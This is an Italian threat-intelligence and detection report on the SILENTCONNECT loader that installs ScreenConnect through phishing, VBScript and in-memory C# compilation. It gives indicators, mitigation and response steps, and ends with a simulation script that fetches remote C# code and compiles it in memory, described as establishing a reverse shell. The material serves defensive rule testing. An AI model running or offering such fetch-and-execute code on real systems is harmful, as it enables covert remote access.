Dall’invito all’infezione: come SILENTCONNECT distribuisce ScreenConnect

Sintesi

Il rapporto delinea un caricatore multi-fase chiamato SILENTCONNECT che si basa su un VBScript dropper, compilazione in memoria PowerShell di codice C#, e il mascheramento del PEB per distribuire silenziosamente lo strumento di gestione remota ConnectWise ScreenConnect. L’attacco inizia con una email di phishing che guida le vittime attraverso una pagina CAPTCHA di Cloudflare Turnstile prima di servire il payload VBScript. Questo script recupera un componente C# da Google Drive, lo compila in memoria e poi scarica un MSI di ScreenConnect da un dominio malevolo per stabilire la persistenza come servizio di Windows. La campagna mescola servizi di hosting fidati con binari living-off-the-land per ridurre il suo profilo di rilevamento.

Indagine

Elastic Security Labs ha identificato una catena di avvisi insoliti di script Windows che alla fine hanno rivelato il file E-INVITE.vbs ospitato su Cloudflare R2. L’analisi ha mostrato lo script che lancia un comando PowerShell che chiamava curl.exe per recuperare un file sorgente C# da Google Drive, che è stato poi compilato ed eseguito direttamente in memoria. Il caricatore ha usato NtAllocateVirtualMemory per riservare memoria eseguibile, ha applicato il mascheramento del PEB e ha inserito un’esclusione di Windows Defender prima di scaricare l’installer di ScreenConnect con curl e di eseguirlo attraverso msiexec. La telemetria di rete ha rivelato che il client distribuito raggiungeva un terminale C2 a bumptobabeco.top sulla porta TCP 8041.

Mitigazione

I team di sicurezza dovrebbero monitorare linee di comando di PowerShell sospette che invocano curl.exe, la creazione di cartelle temporanee sotto C:Temp, e l’insolita compilazione Add-Type di codice sorgente C# scaricato. La logica di rilevamento dovrebbe anche prendere in considerazione il mascheramento del PEB segnalando processi i cui valori BaseDLLName o FullDllName non corrispondano al percorso reale del modulo. Il traffico in uscita verso domini sconosciuti che ospitano installer MSI dovrebbe essere bloccato o controllato pesantemente, e l’esecuzione di msiexec dovrebbe essere strettamente controllata per fonti non fidate. Le esclusioni di Windows Defender devono essere applicate solo attraverso flussi di lavoro amministrativi approvati.

Risposta

Se si osservano questi indicatori, isolare immediatamente l’host interessato, terminare il processo malevolo e rimuovere il servizio ScreenConnect installato. Raccogliere prove forensi inclusi file temporanei, l’assembly .NET compilato e qualsiasi pacchetto MSI scaricato. Ripristinare le esclusioni non autorizzate di Windows Defender e ripristinare le impostazioni UAC se sono state modificate. Poi, cercare in tutto l’ambiente più ampio artefatti del caricatore corrispondenti e aggiornare i contenuti di rilevamento con tutti gli IOC recentemente identificati.

Esecuzione Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e puntano a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

• Narrativa dell’Attacco e Comandi:

  1. Ricognizione iniziale e recupero payload – L’attaccante ospita un file sorgente C# malevolo su Google Drive. Utilizzando PowerShell, scaricano il file non elaborato tramite Invoke-WebRequest.
  2. Compilazione In Memoria – Il codice sorgente C# scaricato viene compilato direttamente in memoria con Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src.
  3. Esecuzione – Il tipo .NET risultante viene istanziato e il suo metodo Run() viene invocato, stabilendo un reverse shell.
  4. Offuscamento – La linea di comando viene lanciata con -ExecutionPolicy Bypass per evitare blocchi di policy, corrispondendo esattamente alle stringhe che la regola monitora.

• Script di Test di Regressione:

  # -------------------------------------------------
  # Script avversario simulato – attiva la regola Sigma
  # -------------------------------------------------
  # 1. Definire l'URL del payload remoto C# (link condiviso di Google Drive)
  $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID"
  
  # 2. Scaricare il sorgente C# in una variabile
  $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
  
  # 3. Compilare e caricare il payload in memoria
  Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp
  
  # 4. Eseguire il payload (si assume una classe chiamata "Payload" con metodo statico "Run")
  # -------------------------------------------------

• Comandi di Pulizia:

  # Rimuovere eventuali file temporanei (nessuno creato) e scaricare l'assembly in memoria
  # PowerShell non fornisce un'operazione di scarico diretta; terminare il processo se necessario
  Stop-Process -Id $PID -Force